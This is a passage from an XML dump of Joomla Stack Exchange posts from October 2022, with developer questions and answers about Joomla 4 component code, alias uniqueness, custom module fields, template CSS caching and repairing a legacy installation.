$db-&amp;gt;quoteName('categoriesArr'));&#xA;&#xA;...&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Gives me Only the First item from the categories field (var_export):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;     'name' =&amp;gt; 'ITEM A',&#xA;     'alias' =&amp;gt; 'a',&#xA;     'access' =&amp;gt; 1,&#xA;     'catid' =&amp;gt; 0,&#xA;     'categories' =&amp;gt; '19,20',&#xA;     'published' =&amp;gt; 1,&#xA;     ...&#xA;     'categoriesArr' =&amp;gt; 'CATEGORY A',&#xA;     ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I understand that the SubQuery could be the solution to &amp;quot;get all Categories from comma separated list of category id's&amp;quot; but i simply dont know how.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Main Goal is to have an Array of Objects / Strings of each category&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/em&gt;&#xA;So based on the comments i'm on the way to normalize my structure and implement a #__component_item_category table including id,item_id,category_id - now in the Item Model i need to do the following step by step, is it ok to do so?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$categories = $this-&amp;gt;categoriesToArray($categories);&#xA;&#xA;        $db = Factory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Get all registered categories for this item from normalized table $array&#xA;&#xA;// unset all still given/found categories from $array foreach $array&#xA;&#xA;// check for leftover categories and delete them (if array &amp;gt; 0) foreach where itemid and category  (or IN?) $db-&amp;gt;delete&#xA;&#xA;// if categories &amp;gt; 0 --&amp;gt; Store the new categories (foreach)&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is it OK to do that all (db queries) in the model? i don't think so - a public function in the ItemTable Class would be better and implement class by use statement and a call of this function right?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2022-10-23T07:10:06.747" LastActivityDate="2022-10-23T07:10:06.747" Title="Query to select b where b.id is in comma separated list of a" Tags="|joomla-4.x|sql|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32497" PostTypeId="2" ParentId="32493" CreationDate="2022-10-22T10:56:27.270" Score="0" Body="&lt;p&gt;As mentioned by @elboyler, I had such an issue on a client's computer because of his antivirus app / the browser plugin.&lt;/p&gt;&#xA;&lt;p&gt;I would first check the plugins of the affected browsers.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="12352" LastEditDate="2022-10-22T22:09:38.573" LastActivityDate="2022-10-22T22:09:38.573" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32498" PostTypeId="2" ParentId="29199" CreationDate="2022-10-23T00:26:34.113" Score="2" Body="&lt;p&gt;The function getListQuery returns \Joomla\Database\DatabaseQuery and nothing else.&lt;/p&gt;&#xA;&lt;p&gt;The returned query is driven by populateState() which in turn tells getListQuery what to do. Well, populateState just fills data before getListQuery gets executed. You can do everything inside getListQuery().&lt;/p&gt;&#xA;&lt;p&gt;The main state of your component is known, becase you do some things inside the controller. Then you pass data to populateState() so it tells getListQuery how to behave.&lt;/p&gt;&#xA;&lt;p&gt;This way you can build your query conditionally and it will simply return empty result for that query, because conditions have not been met. It's all about configuring the state of the model, then getListQuery returns a given data, so no more functions are needed.&lt;/p&gt;&#xA;&lt;p&gt;It's all about telling ListModel how to return data via getListQuery. This way you don't implement many public functions to return objects. In Joomla it's done via one mega-function, in laravel there are scopes and many local functions that build up an overall query. In both cases it gives same results but differ in controller implementation.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastActivityDate="2022-10-23T00:26:34.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32499" PostTypeId="2" ParentId="32251" CreationDate="2022-10-23T00:59:03.387" Score="2" Body="&lt;p&gt;If the site is that big then I would rewrite it if I couldn't find a nimble solution. Just to note - remember that every site that has 10-20k records a month needs archive tables or table partitioning. 500k up to 1mil records kills single database table.&lt;/p&gt;&#xA;&lt;p&gt;I work on Joomla and Laravel mostly. &lt;strong&gt;Apache Solr&lt;/strong&gt; is the way to go with heavy search (yeaaa Algolia has made a driver for Laravel). On the other side, I've never tried Joomla with pgsql,  but I've tested big data with a Laravel postgre driver.&lt;/p&gt;&#xA;&lt;p&gt;Postgre with correct indices give speed and boost in search functionality. Mysql is simply not as optimised in comparison.&lt;/p&gt;&#xA;&lt;p&gt;You are asking big things which require big decision.&lt;/p&gt;&#xA;&lt;p&gt;At the very end, you can try extensions, but ey, extensions do many things before they reach the end. Some advanced topics are easier to implement in pure frameworks, so I would rather switch if you feel able.&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="12352" LastEditDate="2022-10-23T03:04:34.820" LastActivityDate="2022-10-23T03:04:34.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32500" PostTypeId="1" CreationDate="2022-10-23T06:53:28.763" Score="3" ViewCount="159" Body="&lt;p&gt;I'm trying to develop a Joomla 4 component and I almost completed it, but I have issues to save an item when the Alias is not Unique.&lt;/p&gt;&#xA;&lt;p&gt;In the database, I've set up this:&lt;/p&gt;&#xA;&lt;p&gt;CREATE UNIQUE INDEX &lt;code&gt;aliasindex&lt;/code&gt; ON &lt;code&gt;rwl35_rwlevents&lt;/code&gt; (&lt;code&gt;alias&lt;/code&gt;);&#xA;In the Model (administrator/components/com_rwlevents/src/Model), I have this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function prepareTable($table)&#xA;{&#xA;    $date = Factory::getDate()-&amp;gt;toSql();&#xA;&#xA;    $table-&amp;gt;name = htmlspecialchars_decode($table-&amp;gt;name, ENT_QUOTES);&#xA;    $table-&amp;gt;check();&#xA;    $table-&amp;gt;generateAlias();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, in the EventTable.php file, (/administrator/components/com_rwlevents/src/Table)&lt;/p&gt;&#xA;&lt;p&gt;I have this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function check()&#xA;{&#xA;&#xA;    try&#xA;    {&#xA;        parent::check();&#xA;    }&#xA;    catch (\Exception $e)&#xA;    {&#xA;        $this-&amp;gt;setError($e-&amp;gt;getMessage());&#xA;&#xA;        return false;&#xA;    }&#xA;    // Check the publish down date is not earlier than publish up.&#xA;    if ($this-&amp;gt;publish_down &amp;gt; $this-&amp;gt;_db-&amp;gt;getNullDate() &amp;amp;&amp;amp; $this-&amp;gt;publish_down &amp;lt; $this-&amp;gt;publish_up) {&#xA;        $this-&amp;gt;setError(Text::_('JGLOBAL_START_PUBLISH_AFTER_FINISH'));&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    // Set publish_up, publish_down to null if not set&#xA;    if (!$this-&amp;gt;publish_up) {&#xA;        $this-&amp;gt;publish_up = null;&#xA;    }&#xA;&#xA;    if (!$this-&amp;gt;publish_down) {&#xA;        $this-&amp;gt;publish_down = null;&#xA;    }&#xA;&#xA;    $this-&amp;gt;alias = trim($this-&amp;gt;alias);&#xA;    if (empty($this-&amp;gt;alias))&#xA;    {&#xA;        $this-&amp;gt;alias = $this-&amp;gt;name;&#xA;    }&#xA;    $this-&amp;gt;alias = JFilterOutput::stringURLSafe($this-&amp;gt;alias);&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then, In the same file, I have a function to generate the Alias:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function generateAlias()&#xA;{&#xA;    if (empty($this-&amp;gt;alias))&#xA;    {&#xA;        $this-&amp;gt;alias = $this-&amp;gt;name;&#xA;    }&#xA;&#xA;    $this-&amp;gt;alias = ApplicationHelper::stringURLSafe($this-&amp;gt;alias, $this-&amp;gt;language);&#xA;&#xA;    if (trim(str_replace('-', '', $this-&amp;gt;alias)) == '')&#xA;    {&#xA;        $this-&amp;gt;alias = Factory::getDate()-&amp;gt;format('Y-m-d-H-i-s');&#xA;    }&#xA;&#xA;    return $this-&amp;gt;alias;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But in the Admin, when I try to save an item with an Alias that already exists in the Database, I have:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Duplicate entry 'concert-au-3-arena' for key 'aliasindex'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How can I code this to say: &amp;quot;if this Alias already exists, then, do this...&amp;quot;?&lt;/p&gt;&#xA;" OwnerUserId="16671" LastEditorUserId="12352" LastEditDate="2022-10-23T21:59:36.553" LastActivityDate="2024-03-18T08:03:20.407" Title="Joomla 4 - Check if Alias is Unique" Tags="|sef|joomla-4|alias|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32501" PostTypeId="1" CreationDate="2022-10-24T07:52:09.290" Score="1" ViewCount="216" Body="&lt;p&gt;Good day.&#xA;Help with custom fields and helper&#xA;&lt;strong&gt;mod_statesites.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;module&amp;quot; version=&amp;quot;4.0&amp;quot; client=&amp;quot;site&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;MOD_STATESITES&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;MOD_STATESITES_XML_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;    &amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Joomla\Module\StateSites&amp;lt;/namespace&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename module=&amp;quot;mod_statesites&amp;quot;&amp;gt;mod_statesites.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;assets&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_statesites.xml&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;basic&amp;quot; addfieldpath=&amp;quot;/modules/mod_statesites/models/fields&amp;quot;&amp;gt;&#xA;                &amp;lt;field name=&amp;quot;bggradientview&amp;quot; &#xA;                    type=&amp;quot;bggradient&amp;quot; &#xA;                /&amp;gt;            &#xA;    &#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;helper scr/Helper/StateSitesHelper.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;namespace Joomla\Module\StateSites\Site\Helper;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Helper\ModuleHelper;&#xA;use Joomla\CMS\Router\Route;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;class StateSitesHelper&#xA;{&#xA;    public static function getModuleTitle()&#xA;    {&#xA;        return $module-&amp;gt;title;&#xA;    }&#xA;&#xA;    public static function getParam($ParamName)&#xA;    {&#xA;        return $params-&amp;gt;get($ParamName);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Custom field models/fields/bggradient.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\FormField as JFormField;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Helper\ModuleHelper;&#xA;use Joomla\Module\StateSites\Site\Helper\StateSitesHelper;&#xA;&#xA;class JFormFieldBggradient extends JFormField&#xA;{&#xA;    protected $type = 'bggradient';&#xA;&#xA;    protected function getInput()&#xA;    {&#xA;&#xA;        $html = '&#xA;            &amp;lt;div class=&amp;quot;col&amp;quot;&amp;gt;&#xA;                &amp;lt;div class=&amp;quot;row&amp;quot; style=&amp;quot;border: 1px solid #dee2e6;border-radius: 0.375rem;padding: 6px;margin: 2px;&amp;quot;&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;col-12 col-md-12&amp;quot;&amp;gt;&#xA;                        &amp;lt;div id=&amp;quot;bggradient-gradus&amp;quot;&amp;gt;' . Text::_('MOD_STATESITES_BGGRADUS2') . '120&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div id=&amp;quot;bggradient-view&amp;quot; style=&amp;quot;background: linear-gradient(120deg, rgba(3, 169, 244, 1) 0%, rgba(255, 235, 59, 1) 100%);height: 60px;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;bggradient-color&amp;quot; name=&amp;quot;bggradient-color&amp;quot; value=&amp;quot;' . StateSitesHelper::getParam('bgcolor') . '&amp;quot; /&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;                &#xA;    ';&#xA;&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Error - Class 'Joomla\Module\StateSites\Site\Helper\StateSitesHelper' not found&#xA;&lt;strong&gt;error in line input type=&amp;quot;hidden&amp;quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Help solve the problem.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="14793" LastEditorUserId="14793" LastEditDate="2022-10-24T07:56:13.300" LastActivityDate="2022-10-24T07:56:13.300" Title="Joomla 4 custom fields in module" Tags="|custom-field|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32502" PostTypeId="1" AcceptedAnswerId="32505" CreationDate="2022-10-24T16:56:33.967" Score="2" ViewCount="498" Body="&lt;p&gt;I have an issue with different behaviour by replacing deprecated code. On my extension dedicated for Joomla! 3.10 i used this part of code :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$userid = $this-&amp;gt;input-&amp;gt;getInt('userid');&#xA;$this-&amp;gt;user    = Factory::getUser($userid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the version of my extension dedicated for Joomla! 4.2.x i replaced by that :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$userid = $this-&amp;gt;input-&amp;gt;getInt('userid');&#xA;$this-&amp;gt;user    = Factory::getContainer()-&amp;gt;get(UserFactoryInterface::class)-&amp;gt;loadUserById($userid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On the case of $userid is null the call after to load the uersid doesn't work i get that :&lt;/p&gt;&#xA;&lt;p&gt;Joomla\CMS\User\UserFactory::loadUserById(): Argument #1 ($id) must be of type int, null given, called in ...&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2022-10-25T20:15:02.197" LastActivityDate="2022-10-25T20:15:02.197" Title="Replacement of Factory::getUser($userid); in Joomla! 4.2" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32503" PostTypeId="1" AcceptedAnswerId="32517" CreationDate="2022-10-24T20:52:09.773" Score="1" ViewCount="87" Body="&lt;p&gt;I found samples where HTMLHelper was used to load some types of files like stylesheets, scripts and images:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;addHeadLink(HTMLHelper::_('image', 'joomla-favicon.svg', '', [], true, 1), 'icon', 'rel', ['type' =&amp;gt; 'image/svg+xml']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The subject code will search for &lt;code&gt;joomla-favicon.svg&lt;/code&gt; in the sub-folder &lt;code&gt;images&lt;/code&gt; for the current template. For Joomla 4.2 the long answer is &lt;code&gt;/media/templates/site/my_template/images/joomla-favicon.svg&lt;/code&gt;.&#xA;In the same manner:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HTMLHelper::_('script', 'my.js', ['version' =&amp;gt; 'auto', 'relative' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;can be used my.js to be loaded from &lt;code&gt;js&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;What about using HTMLHelper::_ for other file types? Can I have a subfolder named 'files' and force HTMLHelper to use it for a function like &lt;code&gt;addHeadLink&lt;/code&gt;?&#xA;My particular task is to add a head link for Web app manifest, which I can do simply by &lt;code&gt;addHeadLink&lt;/code&gt;, but I'm curious if I could use &lt;code&gt;HTMLHelper::_&lt;/code&gt; here.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="1995" LastEditDate="2022-10-26T10:54:03.523" LastActivityDate="2022-10-28T07:56:00.050" Title="How to use HTMLHelper for other file types?" Tags="|header|htmlhelper|web-app-manifest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32504" PostTypeId="2" ParentId="32500" CreationDate="2022-10-25T05:21:53.107" Score="0" Body="&lt;p&gt;I finally &amp;quot;partially&amp;quot; solved this by moving a piece of code, and replacing the date by an increment :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function check()&#xA;    {&#xA;&#xA;        try&#xA;        {&#xA;            parent::check();&#xA;        }&#xA;        catch (\Exception $e)&#xA;        {&#xA;            $this-&amp;gt;setError($e-&amp;gt;getMessage());&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;                // Check the publish down date is not earlier than publish up.&#xA;                if ($this-&amp;gt;publish_down &amp;gt; $this-&amp;gt;_db-&amp;gt;getNullDate() &amp;amp;&amp;amp; $this-&amp;gt;publish_down &amp;lt; $this-&amp;gt;publish_up) {&#xA;                    $this-&amp;gt;setError(Text::_('JGLOBAL_START_PUBLISH_AFTER_FINISH'));&#xA;&#xA;                    return false;&#xA;                }&#xA;&#xA;                // Set publish_up, publish_down to null if not set&#xA;                if (!$this-&amp;gt;publish_up) {&#xA;                    $this-&amp;gt;publish_up = null;&#xA;                }&#xA;&#xA;                if (!$this-&amp;gt;publish_down) {&#xA;                    $this-&amp;gt;publish_down = null;&#xA;                }&#xA;&#xA;    jimport('joomla.filter.output');&#xA;    if (empty($this-&amp;gt;alias)) {&#xA;        $this-&amp;gt;alias = $this-&amp;gt;name;&#xA;    }&#xA;    $pk = $this-&amp;gt;id;&#xA;    if (empty($pk)) {&#xA;        $pk = 0;&#xA;    }&#xA;&#xA;            $originAlias = $this-&amp;gt;alias;&#xA;&#xA;    $this-&amp;gt;alias = EventHelper::stringURLSafe(trim($this-&amp;gt;alias));&#xA;&#xA;         if (empty($this-&amp;gt;alias)) {&#xA;             $this-&amp;gt;alias = $originAlias;&#xA;             $this-&amp;gt;alias = EventHelper::replace($this-&amp;gt;alias);&#xA;             $this-&amp;gt;alias = JFilterOutput::stringURLSafe($this-&amp;gt;alias);&#xA;         };&#xA;&#xA;    $db = Factory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;          $query-&amp;gt;select('COUNT(*)')&#xA;        -&amp;gt;from('#__rwlevents')&#xA;        -&amp;gt;where('`alias` = ' .$db-&amp;gt;Quote($this-&amp;gt;alias))&#xA;        -&amp;gt;where('`id` &amp;lt;&amp;gt; '.$pk);&#xA;    $db-&amp;gt;setQuery($query);&#xA;            $newalias = $this-&amp;gt;alias;&#xA;    $count = $db-&amp;gt;loadResult();&#xA;            $increment = $count + 1;&#xA;            if (!empty($count) AND $count &amp;gt;= 1) {&#xA;             $this-&amp;gt;alias = EventHelper::replace($newalias);&#xA;             $this-&amp;gt;alias = JFilterOutput::stringURLSafe($newalias).'-'. $increment;&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The only issue I have now is that when I have more than 1 Dupliacte, the Alias become something like this :&lt;/p&gt;&#xA;&lt;p&gt;concert-au-3-arena-2-2&lt;/p&gt;&#xA;&lt;p&gt;concert-au-3-arena-2-2-2&lt;/p&gt;&#xA;&lt;p&gt;concert-au-3-arena-2-2-2-2&lt;/p&gt;&#xA;" OwnerUserId="16671" LastActivityDate="2022-10-25T05:21:53.107" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32505" PostTypeId="2" ParentId="32502" CreationDate="2022-10-25T06:19:16.250" Score="2" Body="&lt;p&gt;Use integer &lt;code&gt;0&lt;/code&gt; instead of &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$userid = (int) $this-&amp;gt;input-&amp;gt;getInt('userid', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-10-25T06:19:16.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32507" PostTypeId="1" AcceptedAnswerId="32527" CreationDate="2022-10-26T10:32:51.093" Score="0" ViewCount="386" Body="&lt;p&gt;I tried to edit one of the files in the css folder of my template, but the edits are ignored. I noticed that Joomla doesn't read the real css files, but a &amp;quot;version&amp;quot; of these... and probably this version is not being updated with my changes. Probably, the thing is just I don't know how Joomla works. Could you explain me how can I edit and make effective my css changes, please?&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;p&gt;This is the real file: /templates/ipamise/css/template.min.css&lt;/p&gt;&#xA;&lt;p&gt;This is what Joomla read: /templates/ipamise/css/template.min.css?1eb857b83038ec0ff5f316953d1b563b&lt;/p&gt;&#xA;" OwnerUserId="16086" LastActivityDate="2022-11-02T23:16:53.307" Title="Joomla does not detect changes to template css files" Tags="|templates|joomla-4.x|css|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32508" PostTypeId="1" CreationDate="2022-10-26T11:24:35.177" Score="1" ViewCount="371" Body="&lt;p&gt;I will upload a pretty large amount of photos on my website and I don't want to overload the server.&lt;/p&gt;&#xA;&lt;p&gt;I was thinking it might be a good idea to upload the images to google photos and embed them on the website.&lt;/p&gt;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://www.publicalbum.org/blog/embedding-google-photos-albums&quot; rel=&quot;nofollow noreferrer&quot;&gt;a page that creates javascript embed code&lt;/a&gt;, but it is not very customizable. The application displays the gallery as a slideshow, which is not the most practical if you have a large number of photos.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to change photo display to a grid?&lt;/p&gt;&#xA;" OwnerUserId="15041" LastEditorUserId="15041" LastEditDate="2022-11-07T08:09:06.593" LastActivityDate="2022-11-07T08:09:06.593" Title="Display google photos embed as a grid on joomla website (publicalbum.org)" Tags="|joomla-3.x|extensions|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32509" PostTypeId="1" CreationDate="2022-10-26T16:29:38.217" Score="1" ViewCount="110" Body="&lt;p&gt;There's a broken Joomla installation in the host (not made by me) as far as I read, it's because it doesn't work with PHP7+.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to make a fresh install and reuse the database that the broken installation is currently using. Can this something work?&lt;/p&gt;&#xA;&lt;p&gt;I have no experience with Joomla, I'm just trying to fix this. Any other suggestions are welcome.&lt;/p&gt;&#xA;&lt;p&gt;Part of the log error goes like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[24-Jul-2022 08:09:11 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 08:29:46 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 10:23:17 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 10:24:11 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 10:42:23 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 11:24:11 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 11:24:16 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 11:24:16 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 14:54:34 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 15:46:42 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 18:50:16 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 19:45:00 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 20:11:38 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[24-Jul-2022 20:30:40 America/Chicago] PHP Warning:  Version warning: Imagick was compiled against Image Magick version 1650 but version 1654 is loaded. Imagick will run but may behave surprisingly in Unknown on line 0&#xA;[18-Oct-2022 13:25:43 America/Chicago] PHP Fatal error:  Uncaught Error: Call to undefined function set_magic_quotes_runtime() in /home1/pegasena/public_html/old/joomla_site/includes/framework.php:21&#xA;Stack trace:&#xA;#0 /home1/pegasena/public_html/old/joomla_site/index.php(22): require_once()&#xA;#1 {main}&#xA;  thrown in /home1/pegasena/public_html/old/joomla_site/includes/framework.php on line 21&#xA;[18-Oct-2022 13:25:46 America/Chicago] PHP Fatal error:  Uncaught Error: Call to undefined function set_magic_quotes_runtime() in /home1/pegasena/public_html/old/joomla_site/includes/framework.php:21&#xA;Stack trace:&#xA;#0 /home1/pegasena/public_html/old/joomla_site/index.php(22): require_once()&#xA;#1 {main}&#xA;  thrown in /home1/pegasena/public_html/old/joomla_site/includes/framework.php on line 21&#xA;[18-Oct-2022 13:34:47 America/Chicago] PHP Fatal error:  Uncaught Error: Call to undefined function set_magic_quotes_runtime() in /home1/pegasena/public_html/old/joomla_site/includes/framework.php:21&#xA;Stack trace:&#xA;#0 /home1/pegasena/public_html/old/joomla_site/index.php(22): require_once()&#xA;#1 {main}&#xA;  thrown in /home1/pegasena/public_html/old/joomla_site/includes/framework.php on line 21&#xA;[19-Oct-2022 12:40:44 America/Chicago] PHP Fatal error:  Uncaught Error: Call to undefined function set_magic_quotes_runtime() in /home1/pegasena/public_html/old/joomla_site/includes/framework.php:21&#xA;Stack trace:&#xA;#0 /home1/pegasena/public_html/old/joomla_site/index.php(22): require_once()&#xA;#1 {main}&#xA;  thrown in /home1/pegasena/public_html/old/joomla_site/includes/framework.php on line 21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16676" LastEditorUserId="12352" LastEditDate="2022-10-26T21:53:50.487" LastActivityDate="2022-11-03T22:14:23.100" Title="Can I do a fresh joomla installation and import the old database, etc from a broken installation?" Tags="|php|update|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32512" PostTypeId="2" ParentId="32508" CreationDate="2022-10-27T06:47:11.540" Score="2" Body="&lt;p&gt;There are at least a few gallery extensions that integrate with Google Photos such as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event Gallery &lt;a href=&quot;https://extensions.joomla.org/extension/event-gallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/event-gallery&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ozio Gallery &lt;a href=&quot;https://extensions.joomla.org/extension/ozio-gallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/ozio-gallery&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Phoca Gallery &lt;a href=&quot;https://extensions.joomla.org/extension/phoca-gallery&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/phoca-gallery&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-10-27T06:47:11.540" CommentCount="0" 